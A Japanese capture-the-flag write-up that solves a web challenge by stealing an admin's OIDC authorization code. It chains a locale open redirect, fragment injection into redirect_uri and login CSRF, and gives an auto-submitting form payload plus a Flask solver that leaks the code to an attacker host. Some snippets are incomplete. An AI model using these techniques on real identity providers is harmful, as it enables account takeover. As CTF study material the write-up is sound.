web/OIDC転生おじさん
ログイン済み、memoにFLAGを保存した状態で任意のURLにアクセスできる。
ログイン処理は
ojiid/auth?client_id=ojimemo&redirect_uri=...&response_type=code&scope=openid+email+profile&nonce=...
ojiid/login?client_id=ojimemo&redirect_uri=...&state=&response_type=code&scope=openid+email+profile&nonce=...
ojimemo/en/callback?code=...
codeを詐取しadmin botのアカウントにログインしたい。ただredirect_uriは検証され、ojimemoのものでないと拒否される。なので、ojimemoでオープンリダイレクトがないかを探す。
ojimemo/localeにformでPOSTをする
code:html
<form id="localeForm" action="ojimemo/locale" method="post">
<select name="lang">
<option value="/exploit.com/test">exploit</option>
</select>
</form>
<script>
document.getElementById("localeForm").submit();
</script>
これにより、ユーザーの言語に/exploit.com/testが設定される。
ここで、indexにアクセスすると、
code:root.tsx
export async function loader({ params, request }: Route.LoaderArgs) {
let lang = params.lang;
const user = await getUser(request);
if (user && user.sub) {
if (lang === undefined) {
const newLang = langDB.get(user.sub) || "en";
const path = new URL(request.url).pathname;
return redirect(/${newLang}${path});
}
} else {
if (lang === undefined) {
lang = "en";
}
}
return { lang, user };
};
の処理により、//exploit.com/testにリダイレクトされる。
しかしreferrerにのらないのでこのままではダメ。
code:oidc.ts
const params = new URLSearchParams({
code,
...(authRequest.state && { state: authRequest.state }),
});
const redirectUrl = ${authRequest.redirect_uri}?${params};
ここでcodeがredirect_uriの後ろにそのまま結合されている。よってredirect_uriに#があるとcodeがフラグメントと解釈される。フラグメントはリダイレクトをしてもついたままなのでリダイレクト先にも伝わる。
ただ、requestbinなどでは認識できないため、javascriptで処理する。
これでcodeを取得できると思ったが、言語を設定する箇所でcrossoriginのPOSTはcookieがつかないため非ログインと認識され設定できない。なのでadminのアカウントに色々するのではなく、attackerのアカウントにログインしてもらい引っ掛ける。
攻撃者アカウントを作成し、jsをdevtoolsで実行する。
code:js
"headers": {
"content-type": "application/x-www-form-urlencoded",
},
"body": "lang=/shiny-snow-602.p.kq5.jp",
"method": "POST",
"mode": "cors",
"credentials": "include"
});
次にcodeを取得する。
code:url
そうするとcodeが取得できる。これを用いて次のsolverを実行する。
code:solver.py
from flask import Flask, request
import re
import requests
import urllib.parse
ATTACKER_CODE = "7d20c368e7ff1fec52b45aed89d9e9af1ed5a4b716c30ecdb753c016df4f5c3c"
app = Flask(__name__)
code = ""
@app.route('/')
def main():
return f"{OIDCMEMO_URL}/callback?code={code}"
@app.route('/exploit')
def exploit():
redirect_uri = urllib.parse.quote(f"{OIDCMEMO_URL}/callback#a")
return f"""
<script>
win = window.open("{OIDCMEMO_URL}/en/callback?code={ATTACKER_CODE}");
setTimeout(() => {{
win.location = "{OIDCID_URL}/auth?client_id=ojimemo&redirect_uri={redirect_uri}&response_type=code&scope=openid+email+profile&nonce=9cf46f07fea288a919f90e548d433370"
}}, 1000)
</script>
"""
@app.route('/callback')
def callback():
return f"""
<script>
if (location.hash) location.href = "/leak?code=" + location.hash.substr(8);
</script>
"""
@app.route('/leak')
def leak():
global code
code = request.args.get('code')
return code
if __name__ == '__main__':
app.run(debug=False, host='0.0.0.0', port=5000)
admin botにhttp://shiny-snow-602.p.kq5.jp/exploitを通報し、http://shiny-snow-602.p.kq5.jpにアクセスするとadminのcodeがleakされてるのでこれを用いてログインするとフラグ獲得。
※codeでログインすることでojiidとojimemoにおいて別アカウントでログインすることが可能。ojimemoにlangバグを適応したアカウントでログインさせることで、ojiidでログインしようとしたアカウントのcodeをleakできる。